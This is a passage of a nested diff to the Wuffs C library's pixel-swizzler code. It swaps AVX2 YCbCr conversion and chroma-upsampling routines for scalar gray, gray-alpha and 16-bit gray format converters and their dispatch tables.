uint64_t // ++wuffs_private_impl__swizzle_y__bgrx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len < src_len4) ? dst_len : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- // Write out four u8x32 SIMD registers (128 bytes, 32 BGRX/RGBX pixels). +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x00), mix30); +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x20), mix31); +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x40), mix32); +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x60), mix33); ++ while (n >= 1) { ++ uint32_t s0 = ++ 0xFF000000 | wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); ++ d[0] = wuffs_base__color_u32_argb_premul__as__color_u8_gray(s0); + +- // Advance by up to 32 pixels. The first iteration might be smaller than 32 +- // so that all of the remaining steps are exactly 32. +- uint32_t n = 32u - (31u & (x - x_end)); +- dst_iter += 4u * n; +- up0 += n; +- up1 += n; +- up2 += n; +- x += n; ++ s += 1 * 4; ++ d += 1 * 1; ++ n -= 1; + } ++ ++ return len; + } + +-// The rgbx flavor (below) is exactly the same as the bgrx flavor (above) +-// except for the lines marked with a § and that comments were stripped. +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx_x86_avx2( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2) { +- if ((x + 32u) > x_end) { +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx( // +- dst, x, x_end, y, up0, up1, up2); +- return; +- } ++static uint64_t // ++wuffs_private_impl__swizzle_y__y_16be(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len < src_len2) ? dst_len : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- size_t dst_stride = dst->private_impl.planes[0].stride; +- uint8_t* dst_iter = dst->private_impl.planes[0].ptr + +- (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); ++ while (n >= 1) { ++ d[0] = s[0]; + +- const __m256i u0001 = _mm256_set1_epi16(+0x0001); +- const __m256i u00FF = _mm256_set1_epi16(+0x00FF); +- const __m256i uFF80 = _mm256_set1_epi16(-0x0080); +- const __m256i uFFFF = _mm256_set1_epi16(-0x0001); ++ s += 1 * 2; ++ d += 1 * 1; ++ n -= 1; ++ } + +- const __m256i p8000_p0000 = _mm256_set_epi16( // +- +0x0000, -0x8000, +0x0000, -0x8000, // +- +0x0000, -0x8000, +0x0000, -0x8000, // +- +0x0000, -0x8000, +0x0000, -0x8000, // +- +0x0000, -0x8000, +0x0000, -0x8000); ++ return len; ++} + +- const __m256i m3A5E = _mm256_set1_epi16(-0x3A5E); +- const __m256i p66E9 = _mm256_set1_epi16(+0x66E9); +- const __m256i m581A_p492E = _mm256_set_epi16( // +- +0x492E, -0x581A, +0x492E, -0x581A, // +- +0x492E, -0x581A, +0x492E, -0x581A, // +- +0x492E, -0x581A, +0x492E, -0x581A, // +- +0x492E, -0x581A, +0x492E, -0x581A); ++static uint64_t // ++wuffs_private_impl__swizzle_y_16le__y_16be(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- while (x < x_end) { +- __m256i cb_all = _mm256_lddqu_si256((const __m256i*)(const void*)up1); +- __m256i cr_all = _mm256_lddqu_si256((const __m256i*)(const void*)up2); +- __m256i cb_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cb_all, u00FF)); +- __m256i cr_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cr_all, u00FF)); +- __m256i cb_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cb_all, 8)); +- __m256i cr_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cr_all, 8)); ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ d[0] = s1; ++ d[1] = s0; + +- __m256i tmp_by_eve = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cb_eve, cb_eve), m3A5E), u0001), +- 1); +- __m256i tmp_by_odd = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cb_odd, cb_odd), m3A5E), u0001), +- 1); +- __m256i tmp_ry_eve = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cr_eve, cr_eve), p66E9), u0001), +- 1); +- __m256i tmp_ry_odd = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cr_odd, cr_odd), p66E9), u0001), +- 1); ++ s += 1 * 2; ++ d += 1 * 2; ++ n -= 1; ++ } + +- __m256i by_eve = +- _mm256_add_epi16(tmp_by_eve, _mm256_add_epi16(cb_eve, cb_eve)); +- __m256i by_odd = +- _mm256_add_epi16(tmp_by_odd, _mm256_add_epi16(cb_odd, cb_odd)); +- __m256i ry_eve = _mm256_add_epi16(tmp_ry_eve, cr_eve); +- __m256i ry_odd = _mm256_add_epi16(tmp_ry_odd, cr_odd); ++ return len; ++} + +- __m256i tmp0_gy_eve_lo = _mm256_madd_epi16( // +- _mm256_unpacklo_epi16(cb_eve, cr_eve), m581A_p492E); +- __m256i tmp0_gy_eve_hi = _mm256_madd_epi16( // +- _mm256_unpackhi_epi16(cb_eve, cr_eve), m581A_p492E); +- __m256i tmp0_gy_odd_lo = _mm256_madd_epi16( // +- _mm256_unpacklo_epi16(cb_odd, cr_odd), m581A_p492E); +- __m256i tmp0_gy_odd_hi = _mm256_madd_epi16( // +- _mm256_unpackhi_epi16(cb_odd, cr_odd), m581A_p492E); ++// -------- + +- __m256i tmp1_gy_eve_lo = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_lo, p8000_p0000), 16); +- __m256i tmp1_gy_eve_hi = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_hi, p8000_p0000), 16); +- __m256i tmp1_gy_odd_lo = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_lo, p8000_p0000), 16); +- __m256i tmp1_gy_odd_hi = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_hi, p8000_p0000), 16); ++static uint64_t // ++wuffs_private_impl__swizzle_ya_nonpremul__ya_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- __m256i gy_eve = _mm256_sub_epi16( +- _mm256_packs_epi32(tmp1_gy_eve_lo, tmp1_gy_eve_hi), cr_eve); +- __m256i gy_odd = _mm256_sub_epi16( +- _mm256_packs_epi32(tmp1_gy_odd_lo, tmp1_gy_odd_hi), cr_odd); ++ while (n >= 1) { ++ uint32_t d0 = ((uint32_t)(d[1]) << 24) | ((uint32_t)(d[0]) * 0x010101); ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ uint32_t c0 = ++ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)(c0 >> 16)); + +- __m256i yy_all = _mm256_lddqu_si256((const __m256i*)(const void*)up0); +- __m256i yy_eve = _mm256_and_si256(yy_all, u00FF); +- __m256i yy_odd = _mm256_srli_epi16(yy_all, 8); ++ s += 1 * 2; ++ d += 1 * 2; ++ n -= 1; ++ } + +- __m256i loose_b_eve = _mm256_add_epi16(by_eve, yy_eve); +- __m256i loose_b_odd = _mm256_add_epi16(by_odd, yy_odd); +- __m256i packed_b_eve = _mm256_packus_epi16(loose_b_eve, loose_b_eve); +- __m256i packed_b_odd = _mm256_packus_epi16(loose_b_odd, loose_b_odd); ++ return len; ++} + +- __m256i loose_g_eve = _mm256_add_epi16(gy_eve, yy_eve); +- __m256i loose_g_odd = _mm256_add_epi16(gy_odd, yy_odd); +- __m256i packed_g_eve = _mm256_packus_epi16(loose_g_eve, loose_g_eve); +- __m256i packed_g_odd = _mm256_packus_epi16(loose_g_odd, loose_g_odd); ++// -------- + +- __m256i loose_r_eve = _mm256_add_epi16(ry_eve, yy_eve); +- __m256i loose_r_odd = _mm256_add_epi16(ry_odd, yy_odd); +- __m256i packed_r_eve = _mm256_packus_epi16(loose_r_eve, loose_r_eve); +- __m256i packed_r_odd = _mm256_packus_epi16(loose_r_odd, loose_r_odd); ++static uint64_t // ++wuffs_private_impl__swizzle_transparent_black_src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ uint64_t num_pixels, ++ uint32_t dst_pixfmt_bytes_per_pixel) { ++ uint64_t n = ((uint64_t)dst_len) / dst_pixfmt_bytes_per_pixel; ++ if (n > num_pixels) { ++ n = num_pixels; ++ } ++ memset(dst_ptr, 0, ((size_t)(n * dst_pixfmt_bytes_per_pixel))); ++ return n; ++} + +- // § Note the swapped B and R channels. +- __m256i mix00 = _mm256_unpacklo_epi8(packed_r_eve, packed_g_eve); +- __m256i mix01 = _mm256_unpacklo_epi8(packed_r_odd, packed_g_odd); +- __m256i mix02 = _mm256_unpacklo_epi8(packed_b_eve, uFFFF); +- __m256i mix03 = _mm256_unpacklo_epi8(packed_b_odd, uFFFF); ++static uint64_t // ++wuffs_private_impl__swizzle_transparent_black_src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ uint64_t num_pixels, ++ uint32_t dst_pixfmt_bytes_per_pixel) { ++ uint64_t n = ((uint64_t)dst_len) / dst_pixfmt_bytes_per_pixel; ++ if (n > num_pixels) { ++ n = num_pixels; ++ } ++ return n; ++} + +- __m256i mix10 = _mm256_unpacklo_epi16(mix00, mix02); +- __m256i mix11 = _mm256_unpacklo_epi16(mix01, mix03); +- __m256i mix12 = _mm256_unpackhi_epi16(mix00, mix02); +- __m256i mix13 = _mm256_unpackhi_epi16(mix01, mix03); ++// -------- + +- __m256i mix20 = _mm256_unpacklo_epi32(mix10, mix11); +- __m256i mix21 = _mm256_unpackhi_epi32(mix10, mix11); +- __m256i mix22 = _mm256_unpacklo_epi32(mix12, mix13); +- __m256i mix23 = _mm256_unpackhi_epi32(mix12, mix13); ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__y( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ return wuffs_private_impl__swizzle_copy_1_1; + +- __m256i mix30 = _mm256_permute2x128_si256(mix20, mix21, 0x20); +- __m256i mix31 = _mm256_permute2x128_si256(mix22, mix23, 0x20); +- __m256i mix32 = _mm256_permute2x128_si256(mix20, mix21, 0x31); +- __m256i mix33 = _mm256_permute2x128_si256(mix22, mix23, 0x31); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_private_impl__swizzle_bgr_565__y; + +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x00), mix30); +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x20), mix31); +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x40), mix32); +- _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x60), mix33); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swizzle_xxx__y; + +- uint32_t n = 32u - (31u & (x - x_end)); +- dst_iter += 4u * n; +- up0 += n; +- up1 += n; +- up2 += n; +- x += n; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_xxxx__y__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_xxxx__y; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE: ++ return wuffs_private_impl__swizzle_xxxxxxxx__y; + } ++ return NULL; + } + +-#if defined(__GNUC__) && !defined(__clang__) +-// No-op. +-#else +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column, +- bool last_column) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp_major = src_ptr_major; +- const uint8_t* sp_minor = src_ptr_minor; +- +- if (first_column) { +- src_len--; +- if ((src_len <= 0u) && last_column) { +- uint32_t sv = (12u * ((uint32_t)(*sp_major++))) + // +- (4u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + 7u) >> 4u); +- return dst_ptr; +- } +- +- uint32_t sv_major_m1 = sp_major[-0]; // Clamp offset to zero. +- uint32_t sv_minor_m1 = sp_minor[-0]; // Clamp offset to zero. +- uint32_t sv_major_p1 = sp_major[+1]; +- uint32_t sv_minor_p1 = sp_minor[+1]; +- +- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // +- (3u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); +- if (src_len <= 0u) { +- return dst_ptr; +- } +- } +- +- if (last_column) { +- src_len--; +- } +- +- if (src_len < 32) { +- // This fallback is the same as the non-SIMD-capable code path. +- for (; src_len > 0u; src_len--) { +- uint32_t sv_major_m1 = sp_major[-1]; +- uint32_t sv_minor_m1 = sp_minor[-1]; +- uint32_t sv_major_p1 = sp_major[+1]; +- uint32_t sv_minor_p1 = sp_minor[+1]; +- +- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // +- (3u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); +- } +- +- } else { +- while (src_len > 0u) { +- // Load 1+32+1 samples (six u8x32 vectors) from the major (jxx) and minor +- // (nxx) rows. +- // +- // major_p0 = [j00 j01 j02 j03 .. j28 j29 j30 j31] // p0 = "plus 0" +- // minor_p0 = [n00 n01 n02 n03 .. n28 n29 n30 n31] // p0 = "plus 0" +- // major_m1 = [jm1 j00 j01 j02 .. j27 j28 j29 j30] // m1 = "minus 1" +- // minor_m1 = [nm1 n00 n01 n02 .. n27 n28 n29 n30] // m1 = "minus 1" +- // major_p1 = [j01 j02 j03 j04 .. j29 j30 j31 j32] // p1 = "plus 1" +- // minor_p1 = [n01 n02 n03 n04 .. n29 n30 n31 n32] // p1 = "plus 1" +- __m256i major_p0 = +- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major + 0)); +- __m256i minor_p0 = +- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor + 0)); +- __m256i major_m1 = +- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major - 1)); +- __m256i minor_m1 = +- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor - 1)); +- __m256i major_p1 = +- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major + 1)); +- __m256i minor_p1 = +- _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor + 1)); +- +- // Unpack, staying with u8x32 vectors. +- // +- // step1_p0_lo = [j00 n00 j01 n01 .. j07 n07 j16 n16 j17 n17 .. j23 n23] +- // step1_p0_hi = [j08 n08 j09 n09 .. j15 n15 j24 n24 j25 n25 .. j31 n31] +- // step1_m1_lo = [jm1 nm1 j00 n00 .. j06 n06 j15 n15 j16 n16 .. j22 n22] +- // step1_m1_hi = [j07 n07 j08 n08 .. j14 n14 j23 n23 j24 n24 .. j30 n30] +- // step1_p1_lo = [j01 n01 j02 n02 .. j08 n08 j17 n17 j18 n18 .. j24 n24] +- // step1_p1_hi = [j09 n09 j10 n10 .. j16 n16 j25 n25 j26 n26 .. j32 n32] +- __m256i step1_p0_lo = _mm256_unpacklo_epi8(major_p0, minor_p0); +- __m256i step1_p0_hi = _mm256_unpackhi_epi8(major_p0, minor_p0); +- __m256i step1_m1_lo = _mm256_unpacklo_epi8(major_m1, minor_m1); +- __m256i step1_m1_hi = _mm256_unpackhi_epi8(major_m1, minor_m1); +- __m256i step1_p1_lo = _mm256_unpacklo_epi8(major_p1, minor_p1); +- __m256i step1_p1_hi = _mm256_unpackhi_epi8(major_p1, minor_p1); +- +- // Multiply-add to get u16x16 vectors. +- // +- // step2_p0_lo = [9*j00+3*n00 9*j01+3*n01 .. 9*j23+3*n23] +- // step2_p0_hi = [9*j08+3*n08 9*j09+3*n09 .. 9*j31+3*n31] +- // step2_m1_lo = [3*jm1+1*nm1 3*j00+1*n00 .. 3*j22+1*n22] +- // step2_m1_hi = [3*j07+1*n07 3*j08+1*n08 .. 3*j30+1*n30] +- // step2_p1_lo = [3*j01+1*n01 3*j02+1*n02 .. 3*j24+1*n24] +- // step2_p1_hi = [3*j09+1*n09 3*j10+1*n10 .. 3*j32+1*n32] +- const __m256i k0309 = _mm256_set1_epi16(0x0309); +- const __m256i k0103 = _mm256_set1_epi16(0x0103); +- __m256i step2_p0_lo = _mm256_maddubs_epi16(step1_p0_lo, k0309); +- __m256i step2_p0_hi = _mm256_maddubs_epi16(step1_p0_hi, k0309); +- __m256i step2_m1_lo = _mm256_maddubs_epi16(step1_m1_lo, k0103); +- __m256i step2_m1_hi = _mm256_maddubs_epi16(step1_m1_hi, k0103); +- __m256i step2_p1_lo = _mm256_maddubs_epi16(step1_p1_lo, k0103); +- __m256i step2_p1_hi = _mm256_maddubs_epi16(step1_p1_hi, k0103); +- +- // Compute the weighted sums of (p0, m1) and (p0, p1). For example: +- // +- // step3_m1_lo[00] = ((9*j00) + (3*n00) + (3*jm1) + (1*nm1)) as u16 +- // step3_p1_hi[15] = ((9*j31) + (3*n31) + (3*j32) + (1*n32)) as u16 +- __m256i step3_m1_lo = _mm256_add_epi16(step2_p0_lo, step2_m1_lo); +- __m256i step3_m1_hi = _mm256_add_epi16(step2_p0_hi, step2_m1_hi); +- __m256i step3_p1_lo = _mm256_add_epi16(step2_p0_lo, step2_p1_lo); +- __m256i step3_p1_hi = _mm256_add_epi16(step2_p0_hi, step2_p1_hi); ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__y_16be( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ return wuffs_private_impl__swizzle_y__y_16be; + +- // Bias by 8 (on the left) or 7 (on the right) and then divide by 16 +- // (which is 9+3+3+1) to get a weighted average. On the left (m1), shift +- // the u16 right value by 4. On the right (p1), shift right by 4 and then +- // shift left by 8 so that, when still in the u16x16 little-endian +- // interpretation, we have: +- // - m1_element = (etcetera + 8) >> 4 +- // - p1_element = ((etcetera + 7) >> 4) << 8 +- // +- // step4_m1_lo = [0x00?? 0x00?? ... 0x00?? 0x00??] +- // step4_p1_lo = [0x??00 0x??00 ... 0x??00 0x??00] +- // step4_m1_hi = [0x00?? 0x00?? ... 0x00?? 0x00??] +- // step4_p1_hi = [0x??00 0x??00 ... 0x??00 0x??00] +- __m256i step4_m1_lo = _mm256_srli_epi16( +- _mm256_add_epi16(step3_m1_lo, _mm256_set1_epi16(8)), 4); +- __m256i step4_p1_lo = _mm256_slli_epi16( +- _mm256_srli_epi16(_mm256_add_epi16(step3_p1_lo, _mm256_set1_epi16(7)), +- 4), +- 8); +- __m256i step4_m1_hi = _mm256_srli_epi16( +- _mm256_add_epi16(step3_m1_hi, _mm256_set1_epi16(8)), 4); +- __m256i step4_p1_hi = _mm256_slli_epi16( +- _mm256_srli_epi16(_mm256_add_epi16(step3_p1_hi, _mm256_set1_epi16(7)), +- 4), +- 8); ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: ++ return wuffs_private_impl__swizzle_y_16le__y_16be; + +- // Bitwise-or two "0x00"-rich u16x16 vectors to get a u8x32 vector. Do +- // that twice. Once for the low columns and once for the high columns. +- // +- // In terms of jxx (major row) or nxx (minor row) source samples: +- // - low columns means ( 0 .. 8; 16 .. 24). +- // - high columns means ( 8 .. 16; 24 .. 32). +- // +- // In terms of dxx destination samples (there are twice as many): +- // - low columns means ( 0 .. 16; 32 .. 48). +- // - high columns means (16 .. 32; 48 .. 64). +- // +- // step5_lo = [d00 d01 .. d14 d15 d32 d33 .. d46 d47] +- // step5_hi = [d16 d17 .. d30 d31 d48 d49 .. d62 d63] +- // +- // The d00, d02 ... d62 even elements come from (p0, m1) weighted sums. +- // The d01, d03 ... d63 odd elements come from (p0, p1) weighted sums. +- __m256i step5_lo = _mm256_or_si256(step4_m1_lo, step4_p1_lo); +- __m256i step5_hi = _mm256_or_si256(step4_m1_hi, step4_p1_hi); ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: ++ return wuffs_private_impl__swizzle_copy_2_2; + +- // Permute and store. +- // +- // step6_00_31 = [d00 d01 .. d14 d15 d16 d17 .. d30 d31] +- // step6_32_63 = [d32 d33 .. d46 d47 d48 d49 .. d62 d63] +- __m256i step6_00_31 = _mm256_permute2x128_si256(step5_lo, step5_hi, 0x20); +- __m256i step6_32_63 = _mm256_permute2x128_si256(step5_lo, step5_hi, 0x31); +- _mm256_storeu_si256((__m256i*)(void*)(dp + 0x00), step6_00_31); +- _mm256_storeu_si256((__m256i*)(void*)(dp + 0x20), step6_32_63); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_private_impl__swizzle_bgr_565__y_16be; + +- // Advance by up to 32 source samples (64 destination samples). The first +- // iteration might be smaller than 32 so that all of the remaining steps +- // are exactly 32. +- size_t n = 32u - (31u & (0u - src_len)); +- dp += 2u * n; +- sp_major += n; +- sp_minor += n; +- src_len -= n; +- } +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swizzle_xxx__y_16be; + +- if (last_column) { +- uint32_t sv_major_m1 = sp_major[-1]; +- uint32_t sv_minor_m1 = sp_minor[-1]; +- uint32_t sv_major_p1 = sp_major[+0]; // Clamp offset to zero. +- uint32_t sv_minor_p1 = sp_minor[+0]; // Clamp offset to zero. ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ return wuffs_private_impl__swizzle_xxxx__y_16be; + +- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // +- (3u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE: ++ return wuffs_private_impl__swizzle_xxxxxxxx__y_16be; + } +- +- return dst_ptr; ++ return NULL; + } +-#endif +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) +-// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 + +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__UTF8) ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__ya_nonpremul( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_2_2; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_ya_nonpremul__ya_nonpremul__src_over; ++ } ++ return NULL; + +-// ---------------- Unicode and UTF-8 ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__ya_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__ya_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__MAYBE_STATIC size_t // +-wuffs_base__utf_8__encode(wuffs_base__slice_u8 dst, uint32_t code_point) { +- if (code_point <= 0x7F) { +- if (dst.len >= 1) { +- dst.ptr[0] = (uint8_t)(code_point); +- return 1; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_xxx__ya_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_xxx__ya_nonpremul__src_over; ++ } ++ return NULL; + +- } else if (code_point <= 0x07FF) { +- if (dst.len >= 2) { +- dst.ptr[0] = (uint8_t)(0xC0 | ((code_point >> 6))); +- dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); +- return 2; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__ya_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__ya_nonpremul__src_over; ++ } ++ return NULL; + +- } else if (code_point <= 